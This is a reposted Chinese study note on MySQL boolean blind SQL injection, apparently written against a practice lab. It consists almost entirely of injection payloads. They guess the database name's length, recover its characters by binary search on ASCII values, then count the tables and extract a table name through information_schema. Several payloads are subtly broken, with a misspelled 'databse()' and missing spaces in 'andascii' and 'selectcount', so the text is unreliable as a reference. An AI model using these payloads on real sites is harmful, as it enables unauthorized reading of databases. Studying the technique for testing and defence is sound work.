首页 / MYSQL / 学习笔记 MYSQL盲注

学习笔记 MYSQL盲注

内容导读

互联网集市收集整理的这篇技术教程文章主要介绍了学习笔记 MYSQL盲注，小编现在分享给大家，供广大互联网技能从业者学习和参考。文章包含2177字，纯文字阅读大概需要4分钟。

内容图文

            猜解当前数据库名
输入 
            1 ’  and length(database())=1 # ，显示不存在；
输入 1 ’  and length(database())=2 # ，显示不存在；
输入 1 ’  and length(database())=3 # ，显示不存在；
输入 1 ’  and length(database())=4 # ，显示存在： 

采用二分法猜解数据库名
 输入 1’ andascii(substr(databse(),1,1))>97 # ，显示存在，说明数据库名的第一个字符的 ascii 值大于 97 （小写字母 a 的 ascii 值）；
输入 1’ andascii(substr(databse(),1,1))<122 # ，显示存在，说明数据库名的第一个字符的 ascii 值小于 122 （小写字母 z 的 ascii 值）；
输入 1’ andascii(substr(databse(),1,1))<109 # ，显示存在，说明数据库名的第一个字符的 ascii 值小于 109 （小写字母 m 的 ascii 值）；
输入 1’ andascii(substr(databse(),1,1))<103 # ，显示存在，说明数据库名的第一个字符的 ascii 值小于 103 （小写字母 g 的 ascii 值）；
输入 1’ andascii(substr(databse(),1,1))<100 # ，显示不存在，说明数据库名的第一个字符的 ascii 值不小于 100 （小写字母 d 的 ascii 值）；
输入 1’ andascii(substr(databse(),1,1))>100 # ，显示不存在，说明数据库名的第一个字符的 ascii 值不大于 100 （小写字母 d 的 ascii 值），所以数据库名的第一个字符的 ascii 值为 100 ，即小写字母 d 。 

猜解数据库中的表名
1’ and (selectcount (table_name) from information_schema.tables where table_schema=database())=1 #显示不存在
1’ and (selectcount (table_name) from information_schema.tables where table_schema=database() )=2 #显示存在 
1’ and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=1 #显示不存在
1’ and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=2 #显示不存在
…
1’ and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 #显示存在
说明第一个表名长度为 9 。

1’ andascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>97 # 显示存在
1’ andascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<122 # 显示存在
1’ andascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<109 # 显示存在
1’ andascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<103 # 显示不存在
1’ andascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>103 # 显示不存在
说明第一个表的名字的第一个字符为小写字母g。

 

原文：http://www.cnblogs.com/MiWhite/p/6135944.html

内容总结

以上是互联网集市为您收集整理的学习笔记 MYSQL盲注全部内容，希望文章能够帮你解决学习笔记 MYSQL盲注所遇到的程序开发问题。 如果觉得互联网集市技术教程内容还不错，欢迎将互联网集市网站推荐给程序员好友。

内容备注

版权声明：本文内容由互联网用户自发贡献，该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容， 请发送邮件至 gblab@vip.qq.com 举报，一经查实，本站将立刻删除。

内容手机端

扫描二维码推送至手机访问。

本文链接：https://qyyshop.com/info/1145957.html

来源：【匿名】